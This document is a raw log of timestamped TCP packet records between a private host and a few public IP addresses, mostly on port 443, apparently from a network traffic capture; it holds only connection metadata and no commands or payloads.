Oct 1, 2024 15:08:15.048019886 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.091407061 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.092005968 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.170806885 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.170893908 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.170989037 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.170993090 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.171044111 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.171880007 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.171916008 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.176408052 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.176460981 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.176561117 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.176790953 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.176809072 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.632420063 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.632739067 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.632770061 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.633155107 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.633546114 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.633620024 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.634160995 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.679403067 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.808271885 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.808373928 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.808434010 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.809449911 CEST	49753	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.809474945 CEST	443	49753	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.811769009 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.811799049 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.811908960 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.812092066 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.812108040 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.175025940 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:08:16.266767979 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.267128944 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:16.267163992 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.267601013 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.267923117 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:16.268004894 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.268095970 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:16.308938026 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:16.309034109 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:16.309097052 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:16.315406084 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.412836075 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.412919998 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.412975073 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:16.414247036 CEST	49754	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:16.414268970 CEST	443	49754	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:16.417236090 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:16.417268038 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:17.102866888 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.102915049 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.103024960 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.103760958 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.103777885 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.566473961 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.566884995 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.566900969 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.567303896 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.567632914 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.567720890 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.567822933 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.567918062 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.567953110 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.568044901 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.568074942 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825609922 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825660944 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825692892 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825735092 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825768948 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825807095 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825820923 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.825835943 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825850964 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.825850964 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.825886965 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.825948954 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.825954914 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.826589108 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.826668024 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.826675892 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.830365896 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.830420971 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.830435991 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.880131006 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.916537046 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.916631937 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.916675091 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.916722059 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.916731119 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.916744947 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.916827917 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.916838884 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.916898012 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.917397022 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.918077946 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.918134928 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.918251038 CEST	49755	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.918265104 CEST	443	49755	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.921374083 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.921416044 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:17.921519995 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.921736956 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:17.921756983 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.386617899 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.387190104 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:18.387213945 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.387608051 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.387969971 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:18.388042927 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.388132095 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:18.431413889 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.531708956 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.531780005 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:18.531867027 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:18.532704115 CEST	49756	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:18.532726049 CEST	443	49756	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:19.223047972 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:19.950367928 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:19.950400114 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:19.950547934 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:19.950797081 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:19.950810909 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.579256058 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.579632044 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.579659939 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.580002069 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.580446959 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.580522060 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.580634117 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.580696106 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.580718040 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.580800056 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.580830097 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846539974 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846622944 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846658945 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846700907 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.846718073 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846730947 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846769094 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.846798897 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.846847057 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.847333908 CEST	49757	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.847357035 CEST	443	49757	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.850111961 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.850138903 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.850234032 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.850424051 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:20.850439072 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:20.855499029 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:20.855542898 CEST	443	49759	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:20.855657101 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:20.856053114 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:20.856071949 CEST	443	49759	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.314709902 CEST	443	49759	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.314996958 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.315017939 CEST	443	49759	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.316042900 CEST	443	49759	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.316119909 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.316441059 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.316456079 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.316456079 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.316498041 CEST	443	49759	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.316605091 CEST	49759	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.316759109 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.316787004 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.316875935 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.317066908 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.317080021 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.322793961 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.323033094 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:21.323046923 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.323365927 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.323640108 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:21.323704004 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.323753119 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:21.367970943 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:21.367984056 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.461987019 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.462064981 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.462142944 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:21.463861942 CEST	49758	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:21.463885069 CEST	443	49758	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:21.774254084 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.774590015 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.774606943 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.774940014 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.775310993 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.775381088 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:21.775458097 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.775458097 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:21.775496006 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.598798990 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.598942041 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.599075079 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.599791050 CEST	49760	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.599821091 CEST	443	49760	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.602353096 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.602391005 CEST	443	49761	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.602479935 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.602778912 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.602788925 CEST	443	49761	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.604234934 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.604243040 CEST	443	49762	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:22.604326963 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.604609966 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:22.604618073 CEST	443	49762	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.074410915 CEST	443	49762	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.074676037 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.074706078 CEST	443	49762	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.075767994 CEST	443	49762	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.075841904 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076117992 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076132059 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076173067 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076188087 CEST	443	49762	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.076245070 CEST	49762	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076462030 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076504946 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.076601982 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076781034 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.076796055 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.087302923 CEST	443	49761	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.087577105 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.087588072 CEST	443	49761	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.088637114 CEST	443	49761	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.088711977 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.088983059 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.088994980 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.089034081 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.089046955 CEST	443	49761	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.089102983 CEST	49761	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.089282990 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.089314938 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.089385033 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.089570045 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.089584112 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.562638044 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.562944889 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.562961102 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.564017057 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.564101934 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.564385891 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.564445972 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.564521074 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.564528942 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.573405981 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.573628902 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.573647022 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.574723959 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.574790001 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.575052977 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.575113058 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.575167894 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.616046906 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.616051912 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:23.616065025 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:23.663992882 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:24.026031017 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:24.026104927 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:24.026165962 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:24.027117014 CEST	49764	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:24.027141094 CEST	443	49764	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:24.351990938 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:25.769076109 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769133091 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769195080 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769201040 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.769216061 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769256115 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769294977 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769294977 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.769311905 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769351959 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769357920 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.769365072 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769411087 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.769434929 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769468069 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769504070 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.769509077 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.769562960 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.773906946 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.774012089 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.774058104 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.774065018 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.774076939 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.774120092 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.774126053 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.774173975 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.774219990 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.774226904 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775010109 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775043964 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775078058 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775094986 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.775099993 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775149107 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.775856018 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775904894 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775929928 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.775935888 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775974989 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.775994062 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.775999069 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.776046038 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.776633024 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.776707888 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.776774883 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.776782036 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.776993036 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.777067900 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.777072906 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.777555943 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.777590990 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.777614117 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.777621031 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.777702093 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.778166056 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.779052019 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.779120922 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.779126883 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.779257059 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.779357910 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.779364109 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.779994965 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.780128956 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:25.780134916 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:25.780570984 CEST	443	49763	104.21.11.126	192.168.2.16
